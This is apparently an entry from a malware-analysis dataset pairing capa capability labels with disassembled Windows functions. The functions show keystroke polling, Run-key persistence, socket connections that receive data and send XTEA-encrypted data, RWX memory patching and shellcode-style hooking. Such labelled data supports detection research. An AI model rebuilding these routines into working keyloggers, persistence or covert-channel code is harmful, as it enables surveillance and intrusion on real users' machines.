joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47ff34
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.004059b0
xor eax, eax
push ebp
push 0x47ffc6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x408]
xor ecx, ecx
mov edx, 0x400
call fcn.00403af4
mov eax, dword [ebp - 4]
test eax, eax
je 0x47ff79
sub eax, 4
mov eax, dword [eax]
mov edx, eax
dec edx
test edx, edx
jl 0x47ff97
inc edx
xor esi, esi
lea eax, [ebp - 0x408]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
inc esi
inc eax
dec edx
jne 0x47ff89
push 0
push 0x400
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wsock32.dll_send
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47ffcd
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x480818
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov ebx, 0x49942c
xor eax, eax
push ebp
push 0x48095a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx], eax
cmp dword [ebx], 0xffffffff
jne 0x48085a
mov eax, dword [0x4914e0]
mov byte [eax], 0
jmp 0x48093f
mov word [ebp - 0x10], 2
mov eax, dword [0x4914bc]
movzx eax, word [eax]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
mov eax, dword [0x491668]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_inet_addr
mov esi, eax
mov dword [ebp - 0xc], esi
inc esi
jne 0x4808af
mov eax, dword [0x491668]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x4808a5
mov eax, dword [0x4914e0]
mov byte [eax], 0
jmp 0x48093f
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_connect
push 0
push 0x1fff
push 0x49742c
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49742c
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
push 0x480970
lea edx, [ebp - 0x18]
mov eax, dword [0x4913fc]
mov eax, dword [eax]
call fcn.00409ce0
push dword [ebp - 0x18]
push 0x480980
push 0x48098c
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.004058c4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebx]
call fcn.0047424c
push 0
push 0x1fff
push 0x49742c
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_recv
mov eax, 0x49742c
xor ecx, ecx
mov edx, 0x2000
call fcn.00403af4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x480961
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00405554
ret
Function at 0x4811a4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 4], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x481264
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
push edx
push eax
push 0
call sub.shell32.dll_ShellExecuteExA
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_ShellExecuteA
lea edx, [ebp - 4]
lea eax, [ebp - 0x10d]
call fcn.0040aa18
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x481200
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x114]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a28
mov eax, dword [ebp - 0x114]
mov edx, 0x48127c
call fcn.00405958
je 0x481239
mov eax, esi
mov ecx, 0x48127c
mov edx, dword [ebp - 4]
call fcn.00405848
jmp 0x481243
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48126b
lea eax, [ebp - 0x114]
call fcn.00405530
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x481280
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059b0
mov eax, dword [ebp - 8]
call fcn.004059b0
mov eax, dword [ebp - 0xc]
call fcn.004059b0
mov eax, dword [ebp + 8]
call fcn.004059b0
xor eax, eax
push ebp
push 0x4813ad
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x481379
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x421470]
call fcn.004215b4
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x4813c8
call fcn.00405958
jne 0x4812fa
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x4813d4
call fcn.00405958
jne 0x48130e
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x4813d4
call fcn.00405958
jne 0x48132a
lea eax, [ebp - 0x10]
mov edx, 0x4813e0
call fcn.004055c8
mov eax, dword [ebp - 8]
mov edx, 0x4813c8
call fcn.00405958
jne 0x481346
lea eax, [ebp - 0x10]
mov edx, 0x4813e0
call fcn.004055c8
mov edx, esi
mov eax, ebx
call fcn.0042164c
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.00421790
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00421eb4
mov eax, ebx
call fcn.00404650
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48138a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4813b4
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405554
lea eax, [ebp + 8]
call fcn.00405530
ret
Function at 0x481410
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059b0
mov eax, dword [ebp - 8]
call fcn.004059b0
xor eax, eax
push ebp
push 0x4814ca
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48149e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x4814d8
push 0x80000001
call fcn.004078d4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x48146a
sub ebx, 4
mov ebx, dword [ebx]
inc ebx
push ebx
mov eax, dword [ebp - 8]
call fcn.004059c0
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004059c0
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.004078f4
mov eax, dword [ebp - 0xc]
push eax
call fcn.00407894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4814af
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4814d1
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x4880cc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 4], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x48818c
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
push edx
push eax
push 0
call sub.shell32.dll_ShellExecuteExA
lea eax, [ebp - 0x10d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_ShellExecuteA
lea edx, [ebp - 4]
lea eax, [ebp - 0x10d]
call fcn.0040aa18
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x488128
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x114]
push eax
mov ecx, 1
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405a28
mov eax, dword [ebp - 0x114]
mov edx, 0x4881a4
call fcn.00405958
je 0x488161
mov eax, esi
mov ecx, 0x4881a4
mov edx, dword [ebp - 4]
call fcn.00405848
jmp 0x48816b
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488193
lea eax, [ebp - 0x114]
call fcn.00405530
lea eax, [ebp - 4]
call fcn.00405530
ret

Function at 0x48a2b4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x214], edx
mov edi, eax
xor eax, eax
push ebp
push 0x48a37b
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0x105
lea eax, [ebp - 0x20a]
push eax
push 0x105
lea eax, [ebp - 0x105]
push eax
push esi
call sub.user32.dll_VkKeyScanA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x48a359
push dword [edi]
lea eax, [ebp - 0x210]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.004057a0
push dword [ebp - 0x210]
push 0x48a394
lea eax, [ebp - 0x214]
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.004057a0
push dword [ebp - 0x214]
push 0x48a3a0
mov eax, edi
mov edx, 5
call fcn.004058c4
inc esi
test bl, bl
jne 0x48a2e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a382
lea eax, [ebp - 0x214]
mov edx, 2
call fcn.00405554
ret
Function at 0x10001140
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100152b0
push 0x100138cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffcc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x100011a6
mov byte [ebp - 0x3d], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3d]
jmp 0x1000122f
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx], 0x4550
je 0x100011cd
mov byte [ebp - 0x3e], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3e]
jmp 0x1000122f
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
add eax, dword [edx + 0xd8]
cmp dword [ebp + 0xc], eax
jb 0x10001208
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
add edx, dword [ecx + 0xd8]
mov eax, dword [ebp - 0x3c]
add edx, dword [eax + 0xdc]
cmp dword [ebp + 0xc], edx
jae 0x10001208
mov byte [ebp - 0x3f], 1
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3f]
jmp 0x1000122f
mov byte [ebp - 0x40], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x40]
jmp 0x1000122f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100012d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001a3c0]
mov dword [ebp - 4], eax
jmp 0x100012e9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10001306
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100012e0
mov esp, ebp
pop ebp
ret
Function at 0x10001310
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x1001a3d0], eax
je 0x1000132e
mov eax, 0x10dd
jmp 0x10001410
mov eax, dword [0x1001a3e0]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100013ad
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
xor eax, eax
mov al, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
jne 0x1000138b
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x10], 0
je 0x1000138b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
push eax
call fcn.10001480
add esp, 4
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.100133d0
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x10001336
mov dword [0x1001a3e0], 0
call fcn.10001420
mov ecx, dword [0x1001a3dc]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x100013fa
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.100133d0
add esp, 4
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
jmp 0x100013c5
mov dword [0x1001a3dc], 0
mov dword [0x1001a3d0], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10001980
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x10001995
xor eax, eax
jmp 0x10001a0a
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0x10000
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x100019c2
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x38d
jae 0x10001a05
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x48
mov eax, dword [ebp - 0x10]
cmp dword [eax + edx + 0x40], 0
je 0x10001a03
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 8]
jb 0x100019ff
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 4]
jb 0x10001a03
xor eax, eax
jmp 0x10001a0a
jmp 0x100019b9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10001ac0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1001a3d4], 0
je 0x10001ad9
mov eax, dword [0x1001a3d4]
jmp 0x10001b79
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x10001aeb
xor eax, eax
jmp 0x10001b79
push 8
call fcn.100129dd
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001b41
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x10001b2a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.100133d0
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1001a3d4], eax
mov dword [0x1001a3d8], 0
mov eax, dword [ebp - 8]
jmp 0x10001b79
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x10001b5b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x10001b0b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1001a3dc]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1001a3dc], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a5c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001403c
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1001a010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
push 0x3c
call fcn.100129dd
mov esi, eax
add esp, 4
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 0xc]
mov ecx, esi
push 0
push 0
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 0x10]
push ebx
push edi
call fcn.10009ea0
mov byte [ebp - 4], 1
mov dword [esi], vtable.Buttons.0
add esi, 0x28
mov dword [ebp + 0x10], esi
push 0x18
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.100129dd
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov esi, dword [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp + 0x10], esi
mov dword [esi + 8], ebx
mov ebx, dword [ebp - 0x14]
mov dword [esi + 0x30], 1
mov dword [esi + 0x34], 0
mov byte [esi + 0x38], 0
mov dword [esi + 4], edi
mov eax, dword [ebx + 0x2c]
cmp eax, dword [ebx + 0x30]
je 0x1000a683
mov dword [eax], esi
add dword [ebx + 0x2c], 4
jmp 0x1000a690
lea ecx, [ebp + 0x10]
push ecx
push eax
lea ecx, [ebx + 0x28]
call fcn.10009d40
mov dword [esi + 0x1c], ebx
cmp dword [ebx + 0x3c], 0
jne 0x1000a6a6
cmp byte [esi + 0x1a], 0
je 0x1000a6a6
mov dword [ebx + 0x3c], esi
mov byte [esi + 0x1b], 1
mov esi, dword [ebx + 0x2c]
lea eax, [ebp + 8]
sub esi, dword [ebx + 0x28]
lea ecx, [ebx + 0x34]
push eax
sar esi, 2
call fcn.10005c70
lea ecx, [esi - 1]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000b5f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [0x1001a78c], 0x4f0f30
call fcn.10001240
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10001ac0
push 0x1000b7f0
push 0x1001a78c
call fcn.10001b80
call fcn.100014c0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x50446f
call esi
mov eax, 0x1000b9f0
mov byte [0x50446f], 0xe9
sub eax, 0x504474
mov dword [0x504470], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x50446f
call esi
lea eax, [ebp - 4]
mov dword [0x1001a798], 0x504474
push eax
push 0x40
push 5
push 0x40e0ee
call esi
mov eax, 0x1000bb80
mov byte [0x40e0ee], 0xe9
sub eax, 0x40e0f3
mov dword [0x40e0ef], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x40e0ee
call esi
lea eax, [ebp - 4]
mov dword [0x1001a790], 0x40e0f3
push eax
push 0x40
push 5
push 0x40e3b6
call esi
mov eax, 0x1000bba0
mov byte [0x40e3b6], 0xe9
sub eax, 0x40e3bb
mov dword [0x40e3b7], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x40e3b6
call esi
lea eax, [ebp - 4]
mov dword [0x1001a7ac], 0x40e3bb
push eax
push 0x40
push 5
push 0x41101c
call esi
mov eax, 0x1000bbc0
mov byte [0x41101c], 0xe9
sub eax, 0x411021
mov dword [0x41101d], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x41101c
call esi
lea eax, [ebp - 4]
mov dword [0x1001a7a0], 0x411021
push eax
push 0x40
push 5
push 0x40e193
call esi
mov eax, 0x1000bb70
mov byte [0x40e193], 0xe9
sub eax, 0x40e198
mov dword [0x40e194], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x40e193
call esi
lea eax, [ebp - 4]
mov dword [0x1001a784], 0x40e198
push eax
push 0x40
push 5
push 0x40e062
call esi
mov eax, 0x1000bb60
mov byte [0x40e062], 0xe9
sub eax, 0x40e067
mov dword [0x40e063], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x40e062
call esi
lea eax, [ebp - 4]
mov dword [0x1001a7a4], 0x40e067
push eax
push 0x40
push 5
push 0x4110b2
call esi
mov eax, 0x1000bbd0
mov byte [0x4110b2], 0xe9
sub eax, 0x4110b7
mov dword [0x4110b3], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x4110b2
call esi
mov dword [0x1001a780], 0x4110b9
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000dfb0
Capabilities:
Encode data using xor
Encrypt data using xtea
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1001a010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x28], ebx
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0xc]
cmp eax, 1
jne 0x1000dfdc
mov ax, word [ebx]
mov word [ecx + 2], ax
jmp 0x1000dffa
cmp eax, 2
jne 0x1000dff4
mov dword [ecx + 2], 0xc1e7cae
mov ecx, dword [ebx + 0xc]
mov ax, word [ebx]
mov word [ecx + 6], ax
jmp 0x1000dffa
mov ax, word [ebx]
mov word [ecx], ax
mov eax, dword [0x7998bc]
xor edx, edx
cmp dword [ebx + 8], 2
mov esi, dword [ebx]
sete dl
mov dword [ebp - 0x14], eax
mov eax, dword [0x7998c0]
mov dword [ebp - 0x10], eax
mov eax, dword [0x7998c4]
lea edx, [edx*4 + 2]
mov dword [ebp - 0xc], eax
mov eax, dword [0x7998c8]
add esi, edx
mov ecx, esi
mov dword [ebp - 8], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], esi
and ecx, 0x80000007
jns 0x1000e045
dec ecx
or ecx, 0xfffffff8
add ecx, 1
je 0x1000e053
mov eax, 8
sub eax, ecx
add esi, eax
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebx + 0xc]
mov eax, esi
add ecx, edx
cdq
and edx, 3
mov dword [ebp - 0x20], ecx
add eax, edx
sar eax, 2
mov dword [ebp - 0x24], eax
test eax, eax
jle 0x1000e0e1
xor ebx, ebx
push edi
mov esi, dword [ecx + ebx*4]
xor eax, eax
mov edi, dword [ecx + ebx*4 + 4]
mov dword [ebp - 0x18], 0x20
mov edx, edi
mov ecx, edi
shl ecx, 4
shr edx, 5
xor edx, ecx
mov ecx, eax
and ecx, 3
add edx, edi
mov ecx, dword [ebp + ecx*4 - 0x14]
add ecx, eax
sub eax, 0x61c88647
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, esi
shl ecx, 4
shr edx, 5
xor edx, ecx
mov ecx, eax
shr ecx, 0xb
add edx, esi
and ecx, 3
mov ecx, dword [ebp + ecx*4 - 0x14]
add ecx, eax
xor edx, ecx
add edi, edx
sub dword [ebp - 0x18], 1
jne 0x1000e080
mov ecx, dword [ebp - 0x20]
mov dword [ecx + ebx*4], esi
mov dword [ecx + ebx*4 + 4], edi
add ebx, 2
cmp ebx, dword [ebp - 0x24]
jl 0x1000e070
mov ebx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x1c]
pop edi
mov eax, dword [ebx + 0xc]
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffffe
add ecx, esi
mov word [eax], cx
mov ecx, dword [ebx + 0xc]
mov dword [ebx], esi
push 0
movzx eax, word [ecx]
add eax, 2
push eax
push ecx
push dword [0x1001a060]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebx + 0xc]
call fcn.10012f46
push 0x10
push ebx
call fcn.10012a0d
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop esi
pop ebx
call fcn.100129cf
mov esp, ebp
pop ebp
ret 4
Function at 0x1000e130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push esi
push edi
push eax
push 4
push 4
push 0x5b8610
call ebx
lea eax, [ebp - 8]
mov dword [0x5b8610], 0x1000c840
push eax
push dword [ebp - 4]
push 4
push 0x5b8610
call ebx
lea eax, [ebp - 4]
push eax
push 4
push 4
push 0x5b8574
call ebx
lea eax, [ebp - 8]
mov dword [0x5b8574], 0x1000c7c0
push eax
push dword [ebp - 4]
push 4
push 0x5b8574
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 4
push 5
push 0x4c6e87
push esi
call ebx
lea eax, [ebp - 0x10]
mov byte [0x4c6e87], 0xe8
push eax
mov dword [0x4c6e88], 0xffff2854
push dword [ebp - 0xc]
push 5
push 0x4c6e87
push esi
call ebx
call edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 4
push 4
push 0x5bd9c0
push esi
call ebx
lea eax, [ebp - 0x10]
mov dword [0x5bd9c0], 0x1000d170
push eax
push dword [ebp - 0xc]
push 4
push 0x5bd9c0
push esi
call ebx
call edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 4
push 5
push 0x453283
push esi
call ebx
mov ecx, 0x1000ce80
mov byte [0x453283], 0xe8
sub ecx, 0x453288
lea eax, [ebp - 0x10]
mov dword [0x453284], ecx
push eax
push dword [ebp - 0xc]
push 5
push 0x453283
push esi
call ebx
call edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 4
push 5
push 0x45cab6
push esi
call ebx
mov ecx, 0x1000c880
mov byte [0x45cab6], 0xe8
lea eax, [ebp - 0x10]
sub ecx, 0x45cabb
push eax
mov dword [0x45cab7], ecx
push dword [ebp - 0xc]
push 5
push 0x45cab6
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x80
push 4
mov esi, 0x1000df10
push 0x45a34b
sub esi, 0x45a34f
call edi
mov eax, dword [0x45a34b]
add eax, 0x45a34f
mov dword [0x1001a7b4], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
mov dword [0x45a34b], esi
push 5
push 0x45a34b
call edi
lea eax, [ebp - 4]
push eax
push 0x40
push 0x238000
push 0x401000
call edi
mov eax, 0xbbf2
mov word [0x4ab9da], ax
mov eax, 0x9090
mov word [0x4ab9de], ax
mov eax, 0x6c64
mov byte [0x4ab9e0], 0x90
mov dword [0x50080c], 0xfc8a448b
mov byte [0x500810], 0x90
mov dword [0x500944], 0xb7157e9
mov dword [0x500948], 0x90909000
mov byte [0x50094c], 0x90
mov word [0x500968], ax
mov dword [0x500972], 0x908a0489
mov dword [0x5b7aa0], 0xbd048d3e
mov dword [0x5b7aa8], 0x9f64e850
mov dword [0x5b7aac], 0x9ae9fffb
mov dword [0x5b7ab0], 0xfff48e
mov byte [0x50bca4], 0xeb
mov byte [0x415fcd], 5
mov byte [0x41695c], 5
call fcn.1000b5f0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 0x238000
push 0x401000
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret